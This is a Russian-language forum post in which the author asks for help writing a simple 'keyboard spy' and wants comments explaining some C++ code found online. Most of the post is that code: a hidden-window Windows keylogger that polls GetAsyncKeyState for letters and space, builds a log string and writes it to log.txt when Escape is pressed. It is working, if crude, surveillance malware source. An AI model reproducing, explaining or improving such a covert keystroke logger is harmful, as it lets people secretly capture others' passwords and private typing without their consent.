Хочу написать простой кейлогер(шпион клавы) имею трудности с написанием DLL
Ну кое какие книги и справочники я прочитал. Хочу писать исключительно для консоли. Вот кое что я нашел в сети, только без коментариев в исходнике. Оч. бы хотелось грамотно на писать эту программу. Мне бы помочь с коминтариями к программе, а то я не все пнимаю.
///////////
#include <iostream>
#include "windows.h"
#include <fstream>
#include <String>
using namespace std;
int main()
{
ofstream File; //я так понимаю создать файл
File.open("log.txt");// открыть его и обозначить
FreeConsole();//невидимаю консоль(ток в процессах)
string log = "";//это сам лог куда все забьется. (переменная типа строковая)
string letter = "";//ммм буквы? )
int num = 0;
while(1)//цикл труе?
{
for(num=32; num<=90;num++)//цикл фор не понимаю что 32 ну подсознательно понимаю что 90)
{
switch(num)
{
case 65: letter = "a"; break;
case 66: letter = "b"; break;
case 67: letter = "c"; break;
case 68: letter = "d"; break;
case 69: letter = "e"; break;
case 70: letter = "f"; break;
case 71: letter = "g"; break;
case 72: letter = "h"; break;
case 73: letter = "i"; break;
case 74: letter = "j"; break;
case 75: letter = "k"; break;
case 76: letter = "l"; break;
case 77: letter = "m"; break;
case 78: letter = "n"; break;
case 79: letter = "o"; break;
case 80: letter = "p"; break;
case 81: letter = "q"; break;
case 82: letter = "r"; break;
case 83: letter = "s"; break;
case 84: letter = "t"; break;
case 85: letter = "u"; break;
case 86: letter = "v"; break;
case 87: letter = "w"; break;
case 88: letter = "x"; break;
case 89: letter = "y"; break;
case 90: letter = "z"; break;
case 32: letter = " "; break;
}
if(GetAsyncKeyState(num))//?
{
log+=letter;
Sleep(200);
}
if(GetAsyncKeyState(27))
{
File << log;
File.close();
return 0;
}
}
}
}